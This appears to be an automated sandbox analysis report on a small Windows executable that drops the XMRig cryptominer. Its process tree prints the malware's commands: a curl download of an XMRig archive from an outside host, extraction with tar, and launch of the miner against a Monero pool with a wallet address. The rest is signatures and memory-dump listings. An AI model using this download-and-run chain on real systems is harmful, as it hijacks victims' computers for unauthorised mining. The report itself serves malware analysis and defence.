Resubmissions
13/03/2024, 08:45
240313-knsznahb2w1013/03/2024, 08:44
240313-knhtpaah681013/03/2024, 08:44
240313-km8cysha9v1013/03/2024, 08:43
240313-kms82aah481012/03/2024, 18:00
240312-wlevsshe861012/03/2024, 17:57
240312-wjxylahe481012/03/2024, 17:55
240312-whm21afc7t1012/03/2024, 17:54
240312-wg7p1sfc5y1012/03/2024, 17:53
240312-wgg5csfc3y1012/03/2024, 17:52
240312-wf31fahd5810Analysis
- max time kernel
1800s - max time network
1803s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
12/03/2024, 18:00
General
- Target test - Copy - Copy.exe
- Size 6KB
- Sample240312-wlevsshe86
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 63 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy.exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\jYJFDz4l.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
jYJFDz4l.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/692-58-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-65-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-25-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-27-0x0000026000090000-0x00000260000B0000-memory.dmp
memory/692-26-0x0000026000070000-0x0000026000090000-memory.dmp
memory/692-28-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-59-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-30-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-31-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-61-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-34-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-35-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-36-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-37-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-38-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-39-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-41-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-42-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-43-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-44-0x0000026000070000-0x0000026000090000-memory.dmp
memory/692-45-0x0000026000090000-0x00000260000B0000-memory.dmp
memory/692-46-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-47-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-48-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-49-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-50-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-51-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-52-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-53-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-54-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-55-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-56-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-57-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-22-0x000002607E670000-0x000002607E690000-memory.dmp
memory/692-29-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-24-0x0000026000030000-0x0000026000070000-memory.dmp
memory/692-33-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-62-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-63-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-64-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-60-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-66-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-67-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-68-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-69-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-70-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-71-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-72-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-73-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-74-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-75-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-76-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-77-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-78-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-79-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-80-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-81-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-82-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-83-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-84-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-85-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-86-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-87-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-88-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-89-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-90-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/692-91-0x00007FF7D28F0000-0x00007FF7D33F4000-memory.dmp
memory/1516-0-0x0000000000890000-0x0000000000898000-memory.dmp
memory/1516-3-0x00007FFD10A70000-0x00007FFD11531000-memory.dmp
memory/1516-23-0x00007FFD10A70000-0x00007FFD11531000-memory.dmp